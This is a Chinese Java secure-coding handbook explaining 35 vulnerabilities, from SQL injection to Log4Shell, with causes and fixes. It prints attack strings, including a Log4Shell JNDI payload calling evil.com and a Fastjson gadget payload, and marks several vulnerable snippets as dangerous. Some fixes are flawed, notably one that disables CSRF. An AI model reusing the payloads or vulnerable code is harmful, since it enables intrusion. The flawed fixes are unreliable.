Java 常见开发安全漏洞整理
·
Java开发安全检查手册,文档涵盖了35种常见安全漏洞,每种都包含"为什么出现"(根因)和"解决方案"(代码示例)。
安全漏洞快速索引表
| 编号 | 漏洞类型 | 根本原因 | 核心解决方案 |
|---|---|---|---|
| 1 | SQL注入 | 字符串拼接 | PreparedStatement |
| 2 | 命令注入 | Runtime.exec拼接 | 参数数组 |
| 3 | XXE | XML解析器未安全配置 | 禁用外部实体 |
| 4 | 表达式注入 | 用户输入进表达式 | SimpleEvaluationContext |
| 5 | LDAP注入 | 拼接Filter | 使用Filter类 |
| 6 | NoSQL注入 | JSON直接解析 | 类型安全构建 |
| 7 | XSS | 未转义输出 | 编码 + CSP |
| 8 | 反序列化 | ObjectInputStream | 用JSON替代 |
| 9 | Fastjson | autoType开启 | 关闭或迁移 |
| 10 | Jackson | DefaultTyping | 白名单 |
| 11 | 弱密码 | 简单密码+默认配置 | BCrypt+策略 |
| 12 | 会话固定 | 登录后Session不变 | 重新生成Session |
| 13 | Cookie不安全 | 缺安全属性 | HttpOnly+Secure |
| 14 | JWT漏洞 | 弱密钥+无过期 | 强密钥+过期+黑名单 |
| 15 | 水平越权 | 未校验数据归属 | -ownerId条件 |
| 16 | 垂直越权 | 前端隐藏+后端无校验 | @PreAuthorize |
| 17 | 路径遍历 | 用户输入拼路径 | 规范化+前缀校验 |
| 18 | 文件上传 | 仅校验扩展名 | 魔数+重命名 |
| 19 | SSRF | 未限制目标URL | 白名单+禁内网 |
| 20 | Actuator泄露 | 未关闭端点 | 只暴露health/info |
| 21 | 异常泄露 | 未封装错误 | 全局异常处理 |
| 22 | 日志泄露 | 打印敏感信息 | 脱敏工具 |
| 23 | CORS错误 | allowedOrigins(“*”) | 严格白名单 |
| 24 | 弱加密 | 使用MD5/DES | AES-GCM/RSA-OAEP |
| 25 | 硬编码密钥 | 代码中写密钥 | 环境变量/KMS |
| 26 | 不安全随机 | 用Random | SecureRandom |
| 27 | 验证码漏洞 | 可重复使用 | 一次性+Redis |
| 28 | 短信轰炸 | 无频率限制 | Redis限流 |
| 29 | 竞态条件 | 先查后改 | 乐观锁/原子操作 |
| 30 | 重放攻击 | 无幂等设计 | Token+时间戳 |
| 31 | 业务绕过 | 信任前端参数 | 后端获取参数 |
| 32 | CVE依赖 | 版本长期不更新 | 定期扫描更新 |
| 33 | Log4Shell | JNDI Lookup | 升级/禁用 |
| 34 | 开放重定向 | 未校验跳转URL | 白名单 |
| 35 | HTTP方法 | 未禁用TRACE | 限制方法 |
一、注入类漏洞
1. SQL 注入
为什么出现:
- 字符串拼接 SQL:
"SELECT * FROM users WHERE id = " + userInput - 使用 Statement 而非 PreparedStatement
- ORM 框架中使用原生 SQL 拼接
- 开发者不了解用户输入可被恶意构造
- 开发进度紧张时"临时"用拼接方式
- 遗留老代码未重构
解决方案:
// ① 预编译(最推荐)
PreparedStatement ps = conn.prepareStatement(
"SELECT * FROM users WHERE name = ? AND age = ?");
ps.setString(1, name);
ps.setInt(2, age);
// ② MyBatis —— 用 #{} 不要用 ${}
// 安全
<select id="findUser" resultType="User">
SELECT * FROM users WHERE name = #{name}
</select>
// 危险
<select id="findUser" resultType="User">
SELECT * FROM users WHERE name = '${name}'
</select>
// ③ JPA/Hibernate —— 使用参数绑定
@Query("SELECT u FROM User u WHERE u.name = :name")
List<User> findByName(@Param("name") String name);
// ④ 输入校验:白名单限制输入格式
if (!input.matches("[a-zA-Z0-9_]+")) {
throw new IllegalArgumentException("非法输入");
}
// ⑤ Web应用防火墙(WAF)
// ⑥ 静态代码分析:SonarQube + FindBugs
// ⑦ 最小权限原则:数据库账号仅授予必要权限
2. 命令注入(OS Command Injection)
为什么出现:
- 用
Runtime.exec()拼接用户输入执行系统命令 - 开发者认为"只是拼个 ping 命令",没意识到 shell 元字符
- 未考虑管道、重定向、后台执行等元字符危害
解决方案:
// ① 绝对不要拼接,使用参数数组
// 危险
Runtime.getRuntime().exec("ping " + userInput);
// 安全
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", validatedHost);
pb.start();
// ② 白名单校验
if (!host.matches("^\\d{1,3}(\\.\\d{1,3}){3}$")) {
throw new IllegalArgumentException("非法IP格式");
}
// ③ 最佳实践:能不用系统命令就不用
// 用 Java 原生库替代(如网络用 InetAddress.isReachable())
3. XXE(XML 外部实体注入)
为什么出现:
- XML 解析器默认允许加载外部实体
- 开发者直接使用
DocumentBuilderFactory.newInstance()不做安全配置 - 接收用户上传的 XML 文件或 SOAP 请求
- 不了解 DTD 和外部实体机制
解决方案:
// ① DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
// ② SAXParser
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// ③ JAXB
Unmarshaller unmarshaller = jc.createUnmarshaller();
unmarshaller.setSchema(schema); // 校验 XML 结构
// ④ Jackson XML
XmlMapper mapper = new XmlMapper();
mapper.disable(FromXmlParser.Feature.ALLOW_DTD_DOCTYPE_DECLARATION);
// ⑤ 最佳:用 JSON 替代 XML
4. 表达式注入(SpEL / OGNL)
为什么出现:
- 框架动态求值功能强大,但用户输入被传入表达式引擎
- Spring Security 的
@PreAuthorize中 SpEL 可被外部控制 - Struts2 OGNL 标签对用户输入过滤不足
- 开发者不理解表达式求值的危险
解决方案:
// ① 永远不要让用户输入直接进入表达式
// 危险
parser.parseExpression(userInput);
// ② 使用 SimpleEvaluationContext 限制能力
EvaluationContext ctx = SimpleEvaluationContext
.forReadOnlyDataBinding()
.build();
// ③ 升级框架到已修复版本
// ④ Struts2:升级 + 配置安全拦截器
// ⑤ 使用安全的方式获取属性
// 危险:SpELParserConfiguration config = new SpELParserConfiguration(true, true);
5. LDAP 注入
为什么出现:
- 直接拼接用户输入到 LDAP 查询 Filter
- 未考虑 LDAP 元字符转义
解决方案:
// 使用 Spring LDAP 的 Filter 类自动转义
Filter filter = new AndFilter()
.and(new EqualsFilter("uid", userInput))
.and(new EqualsFilter("ou", department));
ldapTemplate.search(DistinguishedName.EMPTY_PATH,
filter.encode(), new UserAttributesMapper());
// 白名单校验
if (!userInput.matches("^[a-zA-Z0-9_]{3,20}$")) {
throw new IllegalArgumentException("非法输入");
}
6. NoSQL 注入
为什么出现:
- 直接将用户输入作为 JSON/BSON 解析成查询条件
- MongoDB 的
$gt、$ne等操作符被用户构造 - 开发者不了解 NoSQL 查询语法
解决方案:
// ① 绝对不要用 JSON.parse(userInput) 作为查询条件
// 危险
BasicDBObject query = (BasicDBObject) JSON.parse(userInput);
// ② 使用类型安全的构建方式
BasicDBObject query = new BasicDBObject();
query.put("username", validatedUsername);
query.put("age", new BasicDBObject("$gte", 18));
// ③ Spring Data MongoDB
@Query("{ 'username' : ?0 }")
User findByUsername(String username);
// ④ 输入验证:禁止 $ 开头的操作符
if (userInput.contains("$")) {
throw new IllegalArgumentException("非法字符");
}
二、跨站脚本(XSS)
7. 反射型 / 存储型 / DOM 型 XSS
为什么出现:
- 后端直接将用户输入输出到 HTML 页面,未做编码
- 前端使用
innerHTML拼接用户内容 - 富文本编辑器允许用户提交 HTML,未做白名单过滤
- 开发者依赖框架"自动转义",但某些场景会绕过
- HTTP 响应未设置 Content-Type
解决方案:
// ① 后端输出编码
import org.springframework.web.util.HtmlUtils;
String safe = HtmlUtils.htmlEscape(userInput);
// ② 使用 OWASP Java Encoder
import org.owasp.encoder.Encode;
String safeForHtml = Encode.forHtml(userInput);
String safeForJs = Encode.forJavaScript(userInput);
String safeForUrl = Encode.forUriComponent(userInput);
// ③ 设置 Content-Type
response.setContentType("application/json; charset=UTF-8");
// ④ CSP 头
response.setHeader("Content-Security-Policy",
"default-src 'self'; script-src 'self'; object-src 'none'");
// ⑤ 前端防护
// 危险
el.innerHTML = userInput;
// 安全
el.textContent = userInput;
// ⑥ 富文本:使用 Jsoup 白名单过滤
String safe = Jsoup.clean(userHtml, Whitelist.basic());
// ⑦ HttpOnly Cookie 防止窃取 Session
三、反序列化漏洞(最危险)
8. Java 原生反序列化
为什么出现:
ObjectInputStream.readObject()反序列化不可信数据- 历史设计缺陷:反序列化时自动调用
readObject()、readResolve()等方法 - Apache Commons-Collections 等库提供了完整的利用链(Gadget Chain)
- 用于 Session 存储、RPC 通信、缓存等场景
- 开发者不了解序列化机制的危险性
解决方案:
// ① 根本方案:不要对不可信数据使用 Java 原生序列化
// 改用 JSON(Jackson/Gson)且关闭多态
// ② 如果必须用,实现 ObjectInputFilter(JDK 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.myapp.dto.*;!*" // 只允许特定包
);
ois.setObjectInputFilter(filter);
// ③ RASP(运行时应用自我保护)
// - 字节码注入,拦截危险反序列化操作
// - 商业方案:奇安信RASP、开源OpenRASP
// ④ 移除危险依赖(Commons-Collections 3.x 等)
// ⑤ 黑名单机制(JDK 8u121+)
9. Fastjson 反序列化
为什么出现:
- 开启了
autoType,允许 JSON 中指定任意 Java 类 - 攻击者构造
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://..." }实现 RCE - 历史版本存在多个绕过姿势
解决方案:
// ① 升级到 Fastjson2(推荐)
// ② 关闭 autoType
ParserConfig.getGlobalInstance().setSafeMode(true);
// ③ 白名单
ParserConfig.getGlobalInstance().addAccept("com.myapp.dto.");
// ④ 最佳:迁移到 Jackson/Gson
// ⑤ 监控:开启 safeMode 日志告警
10. Jackson 多态反序列化
为什么出现:
- 开启了
DefaultTyping或JsonTypeInfo配置不当 - JSON 中可指定任意类进行反序列化
解决方案:
// ① 绝对不要开启全局 DefaultTyping
// 危险
mapper.enableDefaultTyping();
// ② 如需多态,使用白名单
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY)
@JsonSubTypes({
@JsonSubTypes.Type(value = Dog.class, name = "dog"),
@JsonSubTypes.Type(value = Cat.class, name = "cat")
})
public abstract class Animal {}
// ③ 启用白名单校验
mapper.activateDefaultTyping(
BasicPolymorphicTypeValidator.builder()
.allowIfSubType("com.myapp.dto.")
.build(),
ObjectMapper.DefaultTyping.NON_FINAL
);
// ④ 迁移到 Gson(更安全,默认不支持多态)
四、认证与会话漏洞
11. 弱密码 / 默认凭据
为什么出现:
- 管理员图方便使用简单密码
- 中间件(Redis、Tomcat Manager、数据库)使用默认配置
- 密码策略未强制执行
- 开发阶段方便,上线忘记修改
解决方案:
// ① 密码策略强制
// - 最少8位,包含大小写+数字+特殊字符
// - 定期更换
// - 不得与用户名相似
// - 不得与最近5个密码相同
// ② 密码存储使用 BCrypt/Argon2
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12);
String hashed = encoder.encode(password);
// ③ 生产环境强制修改所有默认密码
// ④ 使用密钥管理服务(Vault、AWS Secrets Manager)
// ⑤ 密码泄露监测服务(HaveIBeenPwned)
12. 会话固定攻击
为什么出现:
- 登录前后 Session ID 不变
- 攻击者先获取 Session ID → 诱导用户用该 ID 登录 → 劫持会话
- 开发者不理解会话固定攻击原理
解决方案:
// 登录成功后必须重新生成 Session
@PostMapping("/login")
public String login(HttpServletRequest request, String username, String password) {
// ... 认证逻辑 ...
// 关键步骤:销毁旧 Session,创建新 Session
HttpSession oldSession = request.getSession(false);
if (oldSession != null) {
oldSession.invalidate();
}
HttpSession newSession = request.getSession(true);
// 可选:迁移重要属性
newSession.setAttribute("user", authenticatedUser);
return "redirect:/dashboard";
}
13. Cookie 安全配置缺失
为什么出现:
- 不了解 Cookie 安全属性的作用
- 开发环境没配,上线忘了加
解决方案:
# Spring Boot 配置
server:
servlet:
session:
cookie:
http-only: true
secure: true # 仅 HTTPS
same-site: strict # 防 CSRF
path: /
// 手动设置
Cookie cookie = new Cookie("SESSION", sessionId);
cookie.setHttpOnly(true);
cookie.setSecure(true);
cookie.setPath("/");
cookie.setMaxAge(3600);
cookie.setAttribute("SameSite", "Strict");
response.addCookie(cookie);
14. JWT 相关漏洞
为什么出现:
- 使用
alg: none绕过签名 - 弱密钥被爆破
- payload 存敏感信息(JWT 默认不加密)
- Token 无过期时间
- Token 泄露后无法主动失效
- 不了解 JWT 机制
解决方案:
// ① 强制使用 RS256 或 HS256,拒绝 none
// ② HS256 密钥至少 256 位随机字符串
// ③ JWT 最佳实践
String token = Jwts.builder()
.setSubject(userId)
.setIssuedAt(new Date())
.setExpiration(new Date(System.currentTimeMillis() + 3600000)) // 1小时过期
.setId(UUID.randomUUID().toString()) // JTI 防重放
.signWith(secretKey, SignatureAlgorithm.HS256)
.compact();
// ④ 敏感操作使用短期 Token + Refresh Token
// ⑤ 实现 Token 黑名单(Redis 存储已注销/已失效 Token)
// ⑥ 不要在 payload 放密码、身份证等敏感信息(可加密存储)
// ⑦ 验证时检查黑名单
public boolean isTokenBlacklisted(String token) {
String jti = getJti(token);
return Boolean.TRUE.equals(redisTemplate.hasKey("jwt:blacklist:" + jti));
}
五、授权与访问控制
15. 水平越权(IDOR)
为什么出现:
- 只验证了"用户是否登录",没验证"用户是否有权访问该数据"
- URL 中使用自增 ID,容易遍历
- 接口设计时没考虑数据归属
- 前端隐藏数据,后端未校验
解决方案:
// ① 始终校验数据归属
@GetMapping("/order/{id}")
public Order getOrder(@PathVariable Long id, @AuthenticationPrincipal UserDetails user) {
Order order = orderService.findById(id);
if (!order.getOwnerId().equals(user.getId())) {
throw new AccessDeniedException("无权访问该订单");
}
return order;
}
// ② 数据库层面加 owner 条件
@Query("SELECT o FROM Order o WHERE o.id = :id AND o.ownerId = :ownerId")
Order findByIdAndOwner(@Param("id") Long id, @Param("ownerId") Long ownerId);
// ③ 使用 UUID 替代自增 ID(防遍历,但不能替代权限校验)
// ④ Spring Security 方法级权限
@PreAuthorize("#order.ownerId == authentication.principal.id")
public Order getOrder(Order order) { ... }
16. 垂直越权
为什么出现:
- 前端做了菜单隐藏,但后端接口没有权限校验
- 权限配置遗漏了某些接口
- 角色权限模型设计不合理
解决方案:
// ① 后端强制校验角色
@PreAuthorize("hasRole('ADMIN')")
@PostMapping("/admin/users")
public void createUser(@RequestBody UserDTO dto) { ... }
// ② Spring Security 完整配置
@Configuration
@EnableWebSecurity
@EnableMethodSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.requestMatchers("/api/**").authenticated()
.anyRequest().denyAll() // 默认拒绝未匹配路径
);
return http.build();
}
}
// ③ 使用 RBAC 模型:用户 → 角色 → 权限 → 资源
// ④ 定期权限审计
六、文件操作漏洞
17. 路径遍历(Path Traversal)
为什么出现:
- 直接将用户输入的文件名拼接到路径中
../未过滤
解决方案:
// ① 路径规范化 + 前缀校验
@GetMapping("/file")
public void getFile(@RequestParam String name, HttpServletResponse response) {
File baseDir = new File("/uploads");
File target = new File(baseDir, name).getCanonicalFile();
// 关键:确保解析后的路径仍在允许的目录下
if (!target.toPath().startsWith(baseDir.toPath())) {
throw new SecurityException("非法路径");
}
// 读取文件...
}
// ② 文件名白名单
if (!name.matches("[a-zA-Z0-9._-]+")) {
throw new IllegalArgumentException("非法文件名");
}
// ③ 禁止用户控制路径,使用固定目录
18. 文件上传漏洞
为什么出现:
- 只校验扩展名,不校验文件内容
- 上传目录具有执行权限
- 文件名未重命名
- 未限制文件大小
解决方案:
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
// ① 文件大小限制
if (file.getSize() > 10 * 1024 * 1024) {
throw new IllegalArgumentException("文件过大");
}
// ② 扩展名白名单
String originalName = file.getOriginalFilename();
String ext = originalName.substring(originalName.lastIndexOf(".") + 1);
Set<String> allowed = Set.of("jpg", "jpeg", "png", "pdf");
if (!allowed.contains(ext.toLowerCase())) {
throw new IllegalArgumentException("不支持的文件类型");
}
// ③ 文件头魔数校验(真正的类型检查)
byte[] header = new byte[8];
file.getInputStream().read(header);
if (!isJpeg(header) && !isPng(header)) {
throw new IllegalArgumentException("文件内容与扩展名不符");
}
// ④ 重命名文件(UUID)
String safeName = UUID.randomUUID().toString() + "." + ext;
// ⑤ 存储到非 Web 目录,或通过流式输出不落盘
Path target = uploadDir.resolve(safeName);
file.transferTo(target.toFile());
return safeName;
}
// ⑥ 上传目录禁用脚本执行权限
七、SSRF(服务端请求伪造)
19. SSRF
为什么出现:
- 用户传入 URL,服务端发起请求(头像URL、网页抓取、回调地址等)
- 未限制目标地址范围
- 云环境中可访问元数据服务
169.254.169.254 - 开发者不理解内网攻击的危害
解决方案:
// ① 域名白名单
private static final Set<String> ALLOWED_HOSTS = Set.of(
"api.example.com", "cdn.example.com"
);
// ② 完整防护
public String safeFetch(String urlString) throws Exception {
URL url = new URL(urlString);
// 只允许 HTTP/HTTPS
if (!"http".equals(url.getProtocol()) && !"https".equals(url.getProtocol())) {
throw new IllegalArgumentException("不支持的协议");
}
// 域名白名单
if (!ALLOWED_HOSTS.contains(url.getHost())) {
throw new IllegalArgumentException("目标域名不在白名单中");
}
// 解析 IP,禁止内网地址
InetAddress addr = InetAddress.getByName(url.getHost());
if (addr.isSiteLocalAddress() || addr.isLoopbackAddress() || addr.isLinkLocalAddress()) {
throw new IllegalArgumentException("禁止访问内网地址");
}
// 禁止常见云元数据地址
String ip = addr.getHostAddress();
if (ip.equals("169.254.169.254")) {
throw new IllegalArgumentException("禁止访问云元数据");
}
return restTemplate.getForObject(urlString, String.class);
}
// ③ 禁用 URL 协议:file, ftp, gopher
// ④ 禁用内网端口:22, 3306, 6379, 27017 等
八、配置与信息泄露
20. Spring Boot Actuator 未授权访问
为什么出现:
- 开发阶段开启了所有端点,生产环境未关闭
/env泄露数据库密码、云密钥/heapdump泄露内存中的敏感数据/configprops泄露系统配置
解决方案:
# ① 最小暴露原则
management:
endpoints:
web:
exposure:
include: health,info # 只暴露必要的
exclude: env,heapdump,configprops,mappings,threaddump,jolokia
endpoint:
health:
show-details: when-authorized # 详细信息仅授权可见
# ② 端点安全
spring:
security:
user:
name: actuator-admin
password: ${ACTUATOR_PASSWORD} # 环境变量注入
# ③ 独立端口 + 内网访问
management:
server:
port: 9090 # 独立端口
address: 127.0.0.1 # 仅本地访问
21. 异常信息泄露
为什么出现:
- 开发阶段打印详细堆栈便于调试
- 生产环境忘了关闭 debug 模式
- 全局异常处理不完善
- 错误信息包含 SQL 语句、文件路径、配置信息
解决方案:
// ① 全局异常处理
@RestControllerAdvice
public class GlobalExceptionHandler {
@ExceptionHandler(Exception.class)
public ResponseEntity<ErrorResponse> handleException(Exception e, HttpServletRequest request) {
// 记录完整日志(服务端)
log.error("系统异常: URI={}", request.getRequestURI(), e);
// 返回通用错误(客户端)
ErrorResponse error = new ErrorResponse(
"INTERNAL_ERROR",
"系统繁忙,请稍后重试", // 不暴露具体错误
UUID.randomUUID().toString() // 错误追踪码
);
return ResponseEntity.status(500).body(error);
}
}
// ② 生产环境关闭 StackTrace
server:
error:
include-stacktrace: never
include-message: never
include-binding-errors: never
22. 日志敏感信息泄露
为什么出现:
- 开发者随手
log.info("请求参数: " + JSON.toJSONString(request)) - 密码、身份证、手机号等直接打印
解决方案:
// ① 敏感信息脱敏工具类
public class SensitiveUtil {
public static String maskPhone(String phone) {
if (phone == null || phone.length() != 11) return "***";
return phone.replaceAll("(\\d{3})\\d{4}(\\d{4})", "$1****$2");
}
public static String maskIdCard(String idCard) {
if (idCard == null || idCard.length() < 8) return "***";
return idCard.substring(0, 4) + "**********" + idCard.substring(idCard.length() - 4);
}
public static String maskEmail(String email) {
if (email == null || !email.contains("@")) return "***";
String[] parts = email.split("@");
return parts[0].substring(0, 2) + "***@" + parts[1];
}
}
// ② 使用
log.info("用户登录, 手机号: {}", SensitiveUtil.maskPhone(phone));
// 绝对不要:log.info("密码: {}", password);
// ③ Logback 脱敏 Filter
// ④ 日志分级:DEBUG 级别也绝不记录敏感信息
// ⑤ 审计日志单独存储
23. CORS 配置错误
为什么出现:
- 开发阶段
allowedOrigins("*")方便联调 - 上线时忘记收紧
解决方案:
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://www.yourdomain.com") // 严格白名单
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowedHeaders("Authorization", "Content-Type")
.allowCredentials(true) // 注意:与 allowedOrigins("*") 冲突
.maxAge(3600);
}
}
// 不允许 Credentials 时使用 allowedOriginPatterns("*")
九、加密与数据安全
24. 弱加密算法
为什么出现:
- 沿用旧代码,不知道算法已不安全
- 照抄网上过时的教程
- 不了解加密算法安全边界
解决方案:
// ① 对称加密:AES-GCM(推荐)
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
SecretKeySpec keySpec = new SecretKeySpec(key, "AES");
GCMParameterSpec gcmSpec = new GCMParameterSpec(128, iv);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, gcmSpec);
// ② 非对称加密:RSA-OAEP
Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding");
// ③ 禁用列表
// DES, 3DES, RC4, MD5, SHA1(用于安全目的时)
// AES-ECB 模式
// 不使用 MD5 进行密码存储
// 不使用 SHA1 进行数字签名
// ④ 使用成熟的加密库:Bouncy Castle、Google Tink
25. 硬编码密钥/密码
为什么出现:
- 开发方便直接写在代码里
- 密钥管理意识不足
- 配置文件直接提交到 Git
解决方案:
# ① 配置文件从环境变量读取
app:
secret: ${APP_SECRET}
db-password: ${DB_PASSWORD}
// ② 使用密钥管理服务
// - HashiCorp Vault
// - AWS Secrets Manager
// - 阿里云 KMS
// ③ Spring Cloud Config + 加密
// ④ .gitignore 排除配置文件
# .gitignore
application-local.yml
application-prod.yml
*.pem
*.key
// ⑤ Git 历史扫描工具:git-secrets、truffleHog
26. 不安全的随机数
为什么出现:
java.util.Random是伪随机,种子可预测- 用于生成验证码、Token、Session ID 等安全场景
- 不了解 Random 和 SecureRandom 的区别
解决方案:
// 安全场景必须用 SecureRandom
SecureRandom sr = new SecureRandom();
// 生成随机 Token
byte[] token = new byte[32];
sr.nextBytes(token);
String tokenStr = Base64.getUrlEncoder().withoutPadding().encodeToString(token);
// 生成验证码
int code = 100000 + sr.nextInt(900000); // 6位数字
// 生成盐值
byte[] salt = new byte[16];
sr.nextBytes(salt);
十、逻辑漏洞
27. 验证码漏洞
为什么出现:
- 验证码存前端或返回前端
- 验证码可重复使用(未消费即销毁)
- 同一 Session 验证码不更新
- 无频率限制
解决方案:
// ① 验证码服务端生成,存 Redis,设过期时间
String code = generateCode(); // SecureRandom
redisTemplate.opsForValue().set("captcha:" + sessionId, code, 5, TimeUnit.MINUTES);
// ② 验证后立即销毁(一次性)
String cached = redisTemplate.opsForValue().get("captcha:" + sessionId);
redisTemplate.delete("captcha:" + sessionId); // 先删后比对
if (!code.equals(cached)) {
throw new IllegalArgumentException("验证码错误");
}
// ③ 增加图形干扰,防止 OCR
// ④ 同一 IP/手机号限制发送频率
// ⑤ 滑动验证码(推荐)
28. 短信/邮箱轰炸
为什么出现:
- 发送接口无频率限制
- 未增加图形验证码前置校验
解决方案:
// ① Redis 频率限制
String key = "sms:limit:" + phone;
Boolean sent = redisTemplate.opsForValue().setIfAbsent(key, "1", 60, TimeUnit.SECONDS);
if (Boolean.FALSE.equals(sent)) {
throw new IllegalStateException("请60秒后再试");
}
// ② 多维度限制
// - 同一手机号:60秒1次,每天10次
// - 同一IP:每小时50次
// ③ 增加滑动图形验证码前置校验
// ④ 接入第三方风控(阿里云验证码、腾讯验证码)
// ⑤ 内容限制:模板化 + 频率限制
29. 竞态条件(Race Condition)
为什么出现:
- 先查后改的操作在并发下不安全
- 库存扣减、余额转账等场景
- 开发者未考虑并发问题
解决方案:
// ① 数据库乐观锁
@Version
private Integer version;
// UPDATE SET stock = stock - 1, version = version + 1
// WHERE id = ? AND version = ?
@Transactional
public boolean deductStock(Long productId, int quantity) {
int result = productRepository.decrementStock(productId, quantity);
return result > 0;
}
@Modifying
@Query("UPDATE Product p SET p.stock = p.stock - :quantity, p.version = p.version + 1 " +
"WHERE p.id = :id AND p.stock >= :quantity AND p.version = :version")
int decrementStock(@Param("id") Long id, @Param("quantity") int quantity, @Param("version") int version);
// ② 数据库悲观锁
@Transactional
public Product getProductForUpdate(Long id) {
return productRepository.findById(id).orElseThrow();
}
@Lock(LockModeType.PESSIMISTIC_WRITE)
Optional<Product> findById(Long id);
// ③ Redis 分布式锁
boolean locked = redisTemplate.opsForValue()
.setIfAbsent("lock:product:" + id, "1", 10, TimeUnit.SECONDS);
if (locked) {
try {
// 业务逻辑
} finally {
redisTemplate.delete("lock:product:" + id);
}
}
// ④ 数据库原子操作(最推荐)
// UPDATE product SET stock = stock - 1 WHERE id = ? AND stock > 0
30. 重放攻击
为什么出现:
- 接口无幂等性设计
- 请求无唯一标识和时效性校验
解决方案:
// ① 幂等性 Token
// 前端获取 Token → 提交时带上 → 后端校验并消费 Token
@PostMapping("/pay")
public void pay(@RequestBody PayRequest req, @RequestParam String idempotentToken) {
Boolean success = redisTemplate.opsForValue()
.setIfAbsent("idempotent:" + idempotentToken, "1", 30, TimeUnit.MINUTES);
if (Boolean.FALSE.equals(success)) {
throw new IllegalStateException("请勿重复提交");
}
// 执行支付逻辑
}
// ② 时间戳 + 签名
// 请求必须在5分钟内,且签名验证通过
// ③ 数据库唯一约束防重复
// 对应唯一索引:biz_type + biz_idempotent_key
// ④ 前端防重复提交:按钮loading状态
31. 业务逻辑绕过
为什么出现:
- 价格从前端传入
- 业务流程校验只在前端
- 未校验参数的合理性(负数、超大值)
解决方案:
// ① 关键业务参数从后端获取,不信任前端
// 危险:价格从请求参数传入
@PostMapping("/order")
public Order createOrder(@RequestBody OrderDTO dto) {
// dto.getPrice() 可被篡改
}
// 安全:价格从数据库查
@PostMapping("/order")
public Order createOrder(@RequestBody OrderDTO dto) {
Product product = productRepo.findById(dto.getProductId());
BigDecimal price = product.getPrice(); // 后端决定价格
// ...
}
// ② 参数合理性校验
if (quantity <= 0 || quantity > 9999) {
throw new IllegalArgumentException("数量不合理");
}
// ③ 关键状态变更做业务校验
// 不允许直接从"待支付"改为"已完成",必须经过"已支付"
@Transactional
public void updateOrderStatus(Long orderId, OrderStatus newStatus) {
Order order = findById(orderId);
// 状态机校验
Map<OrderStatus, Set<OrderStatus>> transitions = Map.of(
OrderStatus.PENDING, Set.of(OrderStatus.PAID, OrderStatus.CANCELLED),
OrderStatus.PAID, Set.of(OrderStatus.SHIPPED, OrderStatus.REFUNDED),
OrderStatus.SHIPPED, Set.of(OrderStatus.COMPLETED)
);
if (!transitions.get(order.getStatus()).contains(newStatus)) {
throw new IllegalStateException("非法状态转换");
}
order.setStatus(newStatus);
save(order);
}
十一、依赖与框架漏洞
32. 已知漏洞依赖(CVE)
为什么出现:
- 依赖版本长期不更新
- 不了解依赖的安全公告
- 传递依赖引入的漏洞
解决方案:
<!-- ① Maven 依赖检查插件 -->
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>9.0.7</version>
<executions>
<execution>
<goals><goal>check</goal></goals>
</execution>
</executions>
</plugin>
# ② CI/CD 集成
mvn dependency-check:check
snyk test
trivy fs .
// ③ 定期关注的安全公告源
// - NVD (nvd.nist.gov)
// - GitHub Security Advisories
// - 各框架官方安全公告(Spring、Apache)
// ④ 高危依赖黑名单
// Commons-Collections 3.x → 升级到 4.x
// Log4j 2.0-2.14.1 → 升级到 2.17+
// Fastjson 1.x → 迁移到 Fastjson2 或 Jackson
// Struts2 老版本 → 升级到最新
33. Log4Shell(CVE-2021-44228)
为什么出现:
- Log4j2 默认启用 JNDI Lookup
- 任何用户输入写入日志的地方都可能触发
${jndi:ldap://evil.com/exploit}
解决方案:
// ① 升级 Log4j2 到 2.17.1+
// ② 如果无法升级,设置 JVM 参数
-Dlog4j2.formatMsgNoLookups=true
// ③ 移除 JndiLookup 类
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
// ④ WAF 规则拦截 ${jndi: 请求
// ⑤ 扫描所有日志配置,确认是否可能被攻击者控制
十二、其他重要漏洞
34. 开放重定向
为什么出现:
- 登录后跳转 URL 从参数获取,未校验
解决方案:
// ① 白名单校验
@GetMapping("/redirect")
public String redirect(@RequestParam String url) {
// 校验是否为相对路径或白名单域名
if (url.startsWith("/") || ALLOWED_HOSTS.contains(URI.create(url).getHost())) {
return "redirect:" + url;
}
return "redirect:/home";
}
// ② 使用相对路径代替绝对 URL
return "redirect:/dashboard";
35. 不安全的 HTTP 方法
为什么出现:
- Tomcat/Jetty 默认开启 TRACE 方法
- 未配置禁用
解决方案:
// ① Spring Security 配置禁用
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf.disable())
.headers(headers -> headers
.httpStrictTransportSecurity(hsts -> hsts.includeSubDomains(true))
.frameOptions(frame -> frame.deny())
);
return http.build();
}
// ② 限制允许的 HTTP 方法
@RequestMapping(value = "/api",
method = {RequestMethod.GET, RequestMethod.POST, RequestMethod.PUT, RequestMethod.DELETE})
// ③ Tomcat 配置禁用 TRACE
总结:安全开发 Checklist
┌─────────────────────────────────────────────────────────────────┐
│ 安全开发 Checklist │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 输入安全 │
